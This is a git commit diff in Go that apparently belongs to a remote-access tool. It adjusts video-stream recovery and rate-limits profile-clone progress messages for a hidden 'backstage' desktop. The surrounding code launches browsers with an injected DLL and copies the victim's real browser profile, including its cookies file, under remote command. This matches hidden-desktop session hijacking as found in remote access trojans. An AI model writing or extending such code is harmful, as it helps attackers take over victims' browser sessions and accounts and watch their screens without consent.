fix multi stream

This commit is contained in:
KingKDot
2026-07-21 16:26:24 -05:00
parent 6926522cc2
commit 12b40b1565
5 changed files with 99 additions and 17 deletions
@@ -240,6 +240,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
return err return err
} }
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
RequestDesktopFullFrame()
if info.needsPatch && pid != 0 { if info.needsPatch && pid != 0 {
go func() { go func() {
defer recoverAndLog("backstage patch opera", nil) defer recoverAndLog("backstage patch opera", nil)
@@ -262,7 +263,9 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
} }
notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData)) notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData))
RequestDesktopFullFrame()
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress) cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
RequestDesktopFullFrame()
if err != nil { if err != nil {
notify("clone", false, fmt.Sprintf("profile clone failed: %v", err)) notify("clone", false, fmt.Sprintf("profile clone failed: %v", err))
return fmt.Errorf("profile clone failed: %v", err) return fmt.Errorf("profile clone failed: %v", err)
@@ -298,6 +301,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
return err return err
} }
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
RequestDesktopFullFrame()
if info.needsPatch && pid != 0 { if info.needsPatch && pid != 0 {
go func() { go func() {
defer recoverAndLog("backstage patch opera", nil) defer recoverAndLog("backstage patch opera", nil)
@@ -736,7 +740,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
os.MkdirAll(d, 0700) os.MkdirAll(d, 0700)
} }
const numWorkers = 8 const numWorkers = 2
jobCh := make(chan copyJob, 256) jobCh := make(chan copyJob, 256)
var wg sync.WaitGroup var wg sync.WaitGroup
var copiedBytes atomic.Int64 var copiedBytes atomic.Int64
@@ -496,6 +496,7 @@ var (
lastKeyframe atomic.Int64 lastKeyframe atomic.Int64
fullNextFrames atomic.Int64 fullNextFrames atomic.Int64
desktopRecoveryAfterBackstageStart atomic.Bool
statFrames atomic.Int64 statFrames atomic.Int64
statCapNs atomic.Int64 statCapNs atomic.Int64
statEncNs atomic.Int64 statEncNs atomic.Int64
@@ -655,6 +656,19 @@ func RequestDesktopFullFrame() {
RequestDesktopH264Keyframe() RequestDesktopH264Keyframe()
} }
func RequestDesktopRecoveryAfterBackstageStart() {
desktopRecoveryAfterBackstageStart.Store(true)
}
func recoverDesktopAfterBackstageFrame(dataLen int) bool {
if dataLen == 0 || !desktopRecoveryAfterBackstageStart.Swap(false) {
return false
}
log.Printf("capture: backstage stream active; requesting desktop recovery frame")
RequestDesktopFullFrame()
return true
}
func SetDesktopSoftwareH264(enabled bool) { func SetDesktopSoftwareH264(enabled bool) {
if desktopSoftwareH264.Swap(enabled) == enabled { if desktopSoftwareH264.Swap(enabled) == enabled {
return return
@@ -1813,6 +1827,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
fps = 1 fps = 1
} }
frame.Header.FPS = fps frame.Header.FPS = fps
recoverDesktopAfterBackstageFrame(len(frame.Data))
if ctx.Err() != nil { if ctx.Err() != nil {
if slotAcquired { if slotAcquired {
@@ -1863,6 +1878,7 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
fps = 1 fps = 1
} }
frame.Header.FPS = fps frame.Header.FPS = fps
recoverDesktopAfterBackstageFrame(len(frame.Data))
if ctx.Err() != nil { if ctx.Err() != nil {
return nil return nil
} }
@@ -1961,6 +1977,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
fps = 1 fps = 1
} }
frame.Header.FPS = fps frame.Header.FPS = fps
recoverDesktopAfterBackstageFrame(len(frame.Data))
if ctx.Err() != nil { if ctx.Err() != nil {
if slotAcquired { if slotAcquired {
@@ -194,6 +194,24 @@ func TestDesktopAndBackstageH264EncodeConcurrently(t *testing.T) {
} }
} }
func TestBackstageFirstFrameRequestsDesktopRecoveryOnce(t *testing.T) {
desktopRecoveryAfterBackstageStart.Store(false)
t.Cleanup(func() {
desktopRecoveryAfterBackstageStart.Store(false)
})
RequestDesktopRecoveryAfterBackstageStart()
if recoverDesktopAfterBackstageFrame(0) {
t.Fatal("empty backstage frame consumed desktop recovery request")
}
if !recoverDesktopAfterBackstageFrame(1) {
t.Fatal("first completed backstage frame did not request desktop recovery")
}
if recoverDesktopAfterBackstageFrame(1) {
t.Fatal("desktop recovery request was not consumed exactly once")
}
}
func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) { func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) {
prev := os.Getenv(blockCodecEnv) prev := os.Getenv(blockCodecEnv)
if err := os.Setenv(blockCodecEnv, "raw"); err != nil { if err := os.Setenv(blockCodecEnv, "raw"); err != nil {
@@ -45,6 +45,22 @@ var (
fileHashSlots = make(chan struct{}, 2) fileHashSlots = make(chan struct{}, 2)
) )
const cloneProgressMinInterval = 100 * time.Millisecond
type cloneProgressLimiter struct {
lastSent time.Time
}
func (l *cloneProgressLimiter) allow(now time.Time, copiedBytes int64, status string) bool {
initial := status == "scanning" || (status == "cloning" && copiedBytes == 0)
terminal := status == "done" || strings.HasPrefix(status, "done_with_errors|")
if !initial && !terminal && !l.lastSent.IsZero() && now.Sub(l.lastSent) < cloneProgressMinInterval {
return false
}
l.lastSent = now
return true
}
type backstageInputKind int type backstageInputKind int
const ( const (
@@ -1117,6 +1133,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
VirtualMode = v VirtualMode = v
} }
} }
capture.RequestDesktopRecoveryAfterBackstageStart()
if VirtualMode { if VirtualMode {
env.VirtualMu.Lock() env.VirtualMu.Lock()
if env.VirtualCancel != nil { if env.VirtualCancel != nil {
@@ -2063,7 +2080,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
goSafe("backstage_start_browser_injected", nil, func() { goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc var onProgress capture.CloneProgressFunc
if clone { if clone {
var limiter cloneProgressLimiter
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) { onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
if !limiter.allow(time.Now(), copiedBytes, status) {
return
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{ _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
Type: "backstage_clone_progress", Type: "backstage_clone_progress",
Browser: browser, Browser: browser,
@@ -2106,6 +2127,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
autoStartExplorer = v autoStartExplorer = v
} }
} }
capture.RequestDesktopRecoveryAfterBackstageStart()
env.VirtualMu.Lock() env.VirtualMu.Lock()
if env.VirtualCancel != nil { if env.VirtualCancel != nil {
env.VirtualCancel() env.VirtualCancel()
@@ -148,6 +148,27 @@ func TestHandlePingFallsBackForInvalidTimestamp(t *testing.T) {
} }
} }
func TestCloneProgressLimiterProtectsFrameTraffic(t *testing.T) {
var limiter cloneProgressLimiter
now := time.Unix(100, 0)
if !limiter.allow(now, 0, "scanning") {
t.Fatal("initial scan progress was suppressed")
}
if !limiter.allow(now, 0, "cloning") {
t.Fatal("initial clone progress was suppressed")
}
if limiter.allow(now.Add(time.Millisecond), 1, "copying|Default\\Cookies") {
t.Fatal("high-frequency file progress was not suppressed")
}
if !limiter.allow(now.Add(cloneProgressMinInterval), 100, "cloning") {
t.Fatal("periodic clone progress was suppressed")
}
if !limiter.allow(now.Add(cloneProgressMinInterval+time.Millisecond), 100, "done") {
t.Fatal("terminal clone progress was suppressed")
}
}
func TestHandleCommand_Ping(t *testing.T) { func TestHandleCommand_Ping(t *testing.T) {
writer := &testWriter{} writer := &testWriter{}
env := &rt.Env{ env := &rt.Env{